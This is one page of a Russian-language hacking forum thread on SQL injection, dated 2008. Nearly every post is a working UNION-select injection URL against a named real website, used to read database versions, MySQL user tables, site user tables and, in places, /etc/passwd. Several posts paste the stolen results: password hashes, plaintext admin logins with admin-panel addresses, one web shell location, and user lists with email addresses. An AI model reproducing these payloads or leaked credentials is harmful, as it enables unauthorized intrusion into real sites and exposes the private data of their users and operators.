SQL-инъекции

Тема в разделе "Поиск уязвимостей", создана пользователем Constantine, 8 май 2007.

Страница 6 из 20
  1. MoLoToK
    MoLoToK Guest
    Искал аккорды на гитару нашёл скулю))
    Довольно хитрая фильтрация, без ковычки перед union ничего не пашет
    [HIDER]http://tabcrawler.com/search.php?show=artist-list&letter=-1'+union+select+password+from+mysql.user/*[/HIDER]
    root: 46b0f804077918b1
    *d450d21dcc39df8471df867995cec28cb04061bf
    Пятая ветка, таблицы выкладываются сразу все списком
    [HIDER]http://tabcrawler.com/search.php?show=artist-list&letter=-1'+union+select+Table_name+from+information_schema.tables/*[/HIDER]
     
    Последнее редактирование модератором: 31 янв 2008
    31 янв 2008
  2. GettoLove
    GettoLove Guest
    Код:
    http://www.maineservicecommission.gov/MVF/article.php?ID=360+union+select+1,2,user(),4,5,6,7,8,9,0,1,2,3/*
http://www.onradio.gr/play_old.php?id=-368+union+select+1,2,3,4,5,6,7,8,version(),0,1,2,3,4,5,6,7,8,9,0,1,2,3,4/*
http://www.ktpae.gr/declaration_more.php?decl_id=-172+union+select+1,concat_ws(char(58),user,password),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+mysql.user/*
http://www.games.gr/index.php?pageid=2+union+select+1,2,3,4,version()/*
http://www.wonpwn.com/games.php?id=-2'+union+select+1,username,3,user_password,5,6,7,8,9,0,1+from+bb2_users+limit+1,1/*
http://www.gamesfirst.com/index.php?id=-1132+union+select+user(),2,3/*
http://opensoft.sch.gr/page.php?file=show_topic_apps.php&topID=-2+union+select+1,2,version(),4,5,6,7,8,9,0,1,2,3,4,5,6/*
http://www.phpbuddy.com/article.php?id=-8+union+select+version(),2,3,4,5,6/*
http://www.lunarenergy.co.uk/newsDetail.php?id=-12+union+select+1,2,3,4,5,convert(concat(version())+using+latin1),7/*
http://www.sublackwell.co.uk/gallery.php?id=-1+union+select+1,version(),3,4,5,6/*
http://www.teamfishcake.co.uk/article.php?id=-288+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5/*
http://www.colerainebc.gov.uk/show.php?id=669+order+by+50/*
http://www.futerra.co.uk/auto.php?inc=team&staff_id=0+union+select+1,2,3,user(),5,6,7/*
http://www.crufc.co.uk/news/newsitem.php?num=-8+union+select+1,load_file('/etc/passwd'),3,4,5/*
http://ru6.cti.gr/broadband/el/readnews.php?id=-2984+union+select+1,user(),3,4,5/*
http://www.rompa.irc.gr/top10.php?cat=-3+union+select+version()/*
http://www.i-do.gr/articles/index.php?cat=-6+union+select+1,2,version(),4/*
http://www.goldensword.net/historialeer.php?num=-10+union+select+1,user(),3,4,5,6,7,8,9/*
http://www.zazieweb.fr/site/reagir.php?num=-107+union+select+1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5/*
http://www.straytravel.com/Stray-Questions-View.php?num=-68+union+select+1,2,3,4,password,6,7,8,login,0,1,2+from+users/*
http://www.bdtheque.com/forum_bds.php?num=-1+union+select+1,2,3,4,version(),6,7,8,9/*
     
    Последнее редактирование модератором: 5 фев 2008
    2 фев 2008
  3. GettoLove
    GettoLove Guest
    Код:
    http://www.gamershood.com/game.php?id=-769+union+select+1,2,version(),4,5,6,7,8,9,0,1,2,3,4,5,6,7/*
    [HIDER="5"]
    Код:
    http://www.gamershood.com/forum/admincp/
username: GamersHood
password: Texas2008
    [/HIDER]

    Добавлено через 2 часа 0 минут
    Код:
    http://www.xgamestation.com/view_product.php?id=-33+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8/*
    Код:
    Administrator:*514CF3488C00733A185644DCC8DBB8BEE63B180F
gruvii:*BD2B2BB6A9881E0FE04B20ED719246D01071975D
xgamestation:*1BA76162951F45EE1C6CB19DD64B39325E093978
eric:*D2E840839C2168F0AB422575182CF92EFDF36C7B
     
    Последнее редактирование модератором: 5 фев 2008
    5 фев 2008
    2 пользователям это понравилось.
  4. GettoLove
    GettoLove Guest
    Код:
    http://www.clubskill.com/blog/Rob%20Rymond&entry=-2515+union+select+1,2,3,4,concat_ws(char(58),converge_email,converge_pass_hash,converge_pass_salt),6,7,8,9,0,1,2+from+ibf_members_converge/*
    UnHidden Content:
    Код:
    admin:123456
eddz:07d1b0a75264fa4c1f7cbe10f10d5170:;)K#c
matt jarosz:jardell
russclow:clowie
aaaaaaaaaaaaaaaaaah:aeb4355e7ef0adfdd4ca14723717ee6d:Q]NY&
andrew dean:velouria
Marco de Vita:429a70ad35917b15f4a8a62f6ee7fe5b:t~g]@
club skill:bf6ca5d21697fa3c9c786c633712418a:I6eJ.
e3expo:10870b97bf114e4cc56895c1588b52c6:"h^Cx
cs fan:2c5039123e7c3f164a73604f70601457:e}kU`:
csyahoo:67f0c06bd696c4702cdf4e635472540b:{f#;G
martin sweeting:157248d72b49aa48434ac6b9fda38fd9:'i{1s
     
    12 фев 2008
  5. GettoLove
    GettoLove Guest
    Код:
    http://www.psu.com/profile.php?id=-4'+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7/*
    [HIDER="5"]
    Код:
    http://www.psu.com/forums/admincp/
user:sebtest
pass:turismo
shell:http://www.psu.com/forums/ajax.php
    [/HIDER]
     
    14 фев 2008
    1 человеку нравится это.
  6. РедБольшевик
    РедБольшевик Guest
    _http://www.novij.com/photo.php?gallery_id=-1+union+select+1,version(),3,4+from+mysql.user/*

    Версия БД 4.0.24_Debian-10sarge1-log

    При попытке узнать имя таблицы пользователей выдаёт вот это:Access denied for user: 'novijcom@localhost' to database 'mysql
    И тут меня поразил ступор, не знаю чего это, переводчик вроде как сказал, что "Доступ закрыт для пользователя ...(ну дальше по тексту)"
    Не знаю можно ли тут спрашивать, но может кто-нить скажет, что это значит? (Если не туда запостил, то просьба перенести в "глупые вопросы для новичков").
     
    20 фев 2008
  7. Koller
    Koller Guest
    Код:
    http://www.reutov.net/iss/photo_news/news/newsone.php?id=-394%20union%20select%201,2,3,4,concat_ws(char(58),name,pass),6,7,8,9+from+users+limit+1,1/*

drupal:9536bdcd9e3faa581d6991b5d04ac4ec
test:2c9672e842fd434354d645ef260d17e2
administrator:c587975a6d5d82fffbe877b0292e3cfc
vaz:28fa394842010d51bc16fe5400dbcffd
Светлана:662ce5f0b7dba225ec628ab84c0065cf
vlad:6337f30e79a77e15106c49d4d9571588
Дмитрий Викторович:8a45126767cdd6040e07d6e9468c42dc
РњРёС?Р°:900a1f3f66efe7ef5887d3fc3040331d

http://www.city.vbg.ru/index.php?id=-566%20union%20select%201,2,version(),4,5,6,7,8/*
4.0.12
http://www.city.vbg.ru/index.php?id=-566%20union%20select%201,2,concat_ws(char(58),login,password),4,5,6,7,8+from+users/*
http://www.city.vbg.ru/admin.php - пароль в админку не подошел
otdel:62a6f0a83964325a - undefined

http://www.novochgrad.ru/news.php?id=-305%20union%20select%201,2,version(),4/*&sub=view_news
4.1.22-standard-log
http://onlinersite.ru/link.php?id=-89839%20union%20select%201,2,3,4,5,version(),7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2/*
4.1.22-standard
http://lenrada.kharkov.ua/rus/view.php?num=-75%20union%20select%201,version(),3,4,5,6/*&status=3&type=view
5.0.45-community-log
http://www.fkefir.ru/news.php?id=-138%20union%20select%201,2,3,4,5,6,7,8,version()/*
4.1.22
     
    26 фев 2008
    2 пользователям это понравилось.
  8. GettoLove
    GettoLove Guest
    Код:
    MySQL 5:
http://www.pspextra.com/article.php?id=-1+union+select+1,2,version(),4,5,6,7/*
http://www.socialistworker.co.uk/sw_comment.php?id=4966+union+select+version(),2,3,4/*
http://www.xoxox.ru/news.php?id=-65+union+select+1,2,version(),4,5,6,7,8/*
MySQL 4:
http://www.webhallen.com/avd_start.php?avd=6'+union+select+1,convert(version()+using+latin1),3/*
http://www.mtvphil.com/event.php?id=-22+union+select+1,2,3,4,5,version(),7,8,9,0,1,2/*
http://www.zoodigitalpublishing.co.uk/product-item.php?id=-1+union+select+1,2,version()/*
http://www.gamersinfo.net/content/news.php?id=-1+union+select+1,convert(version()+using+latin1),3,4,5,6,7,8,9/*
     
    2 апр 2008
  9. ~!Dok_tOR!~
    ~!Dok_tOR!~ Продвинутый
    Симпатии:
    23
    rfbd.ru - Телефонные Базы Данных г. Москва, Телефонные Справочники г. Москва, Паспортные Базы Данных г. Москва

    Код:
    http://rfbd.ru/info.php?id=402&rubrika=-1+union+select+1,concat_ws(0x3a,version(),user(),database())/*
    5.0.37-standard-log:a1rfbd_guest@localhost:a1rfbd_ric_datebase

    Код:
    http://rfbd.ru/info.php?id=402&rubrika=-1+union+select+1,table_name+from+information_schema.columns+where+column_name=0x70617373776f7264/*
    _cms_users
     
    9 июн 2008
  10. baltazar
    baltazar Guest
    Код:
    http://www.hrusa.org/field/listings.php?catid=1%20union+select+name,password,2,3+from+users/* 
 
admin 
59395e208ea9aa41f94f1cfabe62dcad

    Код:
    http://www.jerusalemsummit.org/eng/news.php?news=-102+union+select+1,2,3,4,5,6,7,8,9,10/*
     
    9 июн 2008
  11. Koller
    Koller Guest
    Код:
    http://www.insanely-great.com/news.php?id=-6679%20union%20select%201,2,3,version(),5,6,7,8,9,0,1,2,3,4,5,6,7,8/*
4.1.21-log

http://www.jame-world.com/pl/database-artist-news.php?id=-488%20union%20select%201,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3/*
5.0.21-log - в бд нет ничего интересного...

http://capitaltraders.net/news.php?id=-2%20union%20select+1,version(),3,4,5,6/*
4.0.27-max-log

http://capitaltraders.net/news.php?id=-2%20union%20select+1,concat_ws(0x3a,username,password),3,4,5,6+from+users/*
captrdrs:c&7nIj
http://capitaltraders.net/admin/


http://mdnationwide.tv/news.php?submit_action=article&nid=-898%20union%20select%201,version(),3,4,5,6/*
4.1.20
     
    21 июн 2008
  12. Koller
    Koller Guest
    Код:
    ФК "Заря-Луганс"
http://fczarya.lg.ua/index.php?menu=online&online=online&id_m=-2%20union%20select%201,2,3,4,5,6,7,8,user_password,username,1,2+from+phpbb_users/*

admin:f4b797c477fd6b284327d84916e92cc7 - tatarin

http://logotypes.com.ua/category.php?id=-6%20union%20select%201,concat_ws(char(58),login,pass,email)+from+users/*
1. grafika:kisaa:anna_argo@mail.ru
2. muller:430010:mullerbox@gmail.com
3. Imposer:140220:support@logotypes.com.ua
4. admin:123456123456:support@logotypes.com.ua
5. zhup:zhupadmin:zhup@mail.ru
6. Gora:123789:Razvantyau@yandex.ru
7. skiff:skiff:skiff_s@rambler.ru
8. olekono:olkaspoo:olekono@ukr.net
9. bobjones:fisch:dmytra@gmail.com
10. PIX000:dapar:lucsun@mail.ru...
Около 5-6к пользователей...
     
    6 июл 2008
  13. onthar
    onthar Продвинутый
    Симпатии:
    224
    Код:
    http://www.affiliatedgenetics.com/news.cfm?getid=-1+union+select+1,2,3,4,USER()/*
molodyets@MOJAVE
    Код:
    http://www.affiliatedgenetics.com/news.cfm?getid=-1+union+select+1,2,3,4,VERSION()/*
4.0.23-nt
    Код:
    http://www.affiliatedgenetics.com/news.cfm?getid=-1+union+select+1,2,3,4,DATABASE()/*
paternity
    Больше ничего не получаеццо(( Кто-нибудь глянте плиз, возможна ли дальнейшая инъекция?:)
     
    17 июл 2008
  14. Zik
    Zik Guest
    17 июл 2008
  15. ~!Dok_tOR!~
    ~!Dok_tOR!~ Продвинутый
    Симпатии:
    23
    Код:
    http://www.affiliatedgenetics.com/news.cfm?getid=-1+union+select+concat_ws(0x3a,user,password),2,3,4,5+from+mysql.user--
     
    18 июл 2008
    2 пользователям это понравилось.
  16. ~!Dok_tOR!~
    ~!Dok_tOR!~ Продвинутый
    Симпатии:
    23
    Код:
    http://www.testzentrale.de/?mod=detail&id='+union+select+1,concat_ws(0x3a,user,password),3,4,5,6+from+mysql.user/*
http://www.testzentrale.de/?mod=detail&id='+union+select+1,LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100)),3,4,5,6/*

http://www.long-clawson.com/article.php?sid=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password,email),10,11,12+from+lcvw_xmb_members+where+uid=1/*
http://www.long-clawson.com/article.php?sid=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password,email),10,11,12+from+theclaw_users+where+id=1/*

http://www.bigshoebazaar.com/showprod.php?prcd=-1+union+select+concat_ws(0x3a,user,password)+from+mysql.user/*
http://www.bigshoebazaar.com/showprod.php?prcd=-1+union+select+concat_ws(0x3a,username,upass,email)+from+user_login_detail/*
     
    19 июл 2008
  17. ~!Dok_tOR!~
    ~!Dok_tOR!~ Продвинутый
    Симпатии:
    23
    Код:
    http://www.sexdisk.ru/link.php?tip=5&ganr=-1+union+select+1,concat_ws(0x3a,NAME,PASSWORD,MILO),3+from+intimvideo.partnerinfo/*
     
    23 июл 2008
    1 человеку нравится это.
  18. Zik
    Zik Guest
    Код:
    http://www.flirtanica.ru/articles1.php?id=-261+union+select+1,2,3,4,concat_ws(char(58),version(),user(),database())/*
    Код:
    http://www.ciritas.ru/product.php?id=-10+union+select+1,2,3,4,concat_ws(char(58),version(),user(),database()),6,7,8,9/*
     
    23 июл 2008
    1 человеку нравится это.
  19. Ap0str0F
    Ap0str0F Guest
    Код:
    http://www.latinoreview.com/news.php?id=-2293+union+select+1,2,user(),4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,database()/*

http://www.ecom.su/news/index.php?id=-1043+
union+select+1,2,3,4,5,database(),7,version(),
9,10,11,12,13,user(),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*

http://www.hupo2008.nl/index.php?ID=-227+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*

http://www.mymaika.ru/page.php?id=120+order+by+14/*

http://www.rudtp.ru/download.php?id=2+order+by+7/*

http://www.gnn.tv/users/user.php?id=-4376+union+select+%20%201,user(),3,4,5,6,database(),8,9,10,version(),%20%2012,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/*

http://www.intercar.com.ua/index.php?id=-19+union+select+1,2,version(),database(),5,6--
    ..
     
    25 июл 2008
    1 человеку нравится это.
  20. ~!Dok_tOR!~
    ~!Dok_tOR!~ Продвинутый
    Симпатии:
    23
    Московский секс портал

    Код:
    http://moskowsex.ru/shop.php?page=5&sort=0&razd=38&podrazd=-1+union+select+1,2,concat_ws(0x3a,login,password),4+from+users+limit+1,1/*

http://moskowsex.ru/shop.php?page=5&sort=0&razd=38&podrazd=-1+union+select+1,2,concat_ws(0x3a,username,user_password,user_email),4+from+phpbb_users+limit+1,1/*

admin:828bb32404c2904fb5bb6d2f88985a4a:info@sex.dp.ua:ointera

http://moskowsex.ru/shop.php?page=5&sort=0&razd=38&podrazd=-1+union+select+1,2,concat_ws(0x3a,username,password),4+from+admin/*

admin:root78
    http://moskowsex.ru/login.php
    info@sex.dp.ua:eek:intera
     
    26 июл 2008
Страница 6 из 20
Загрузка...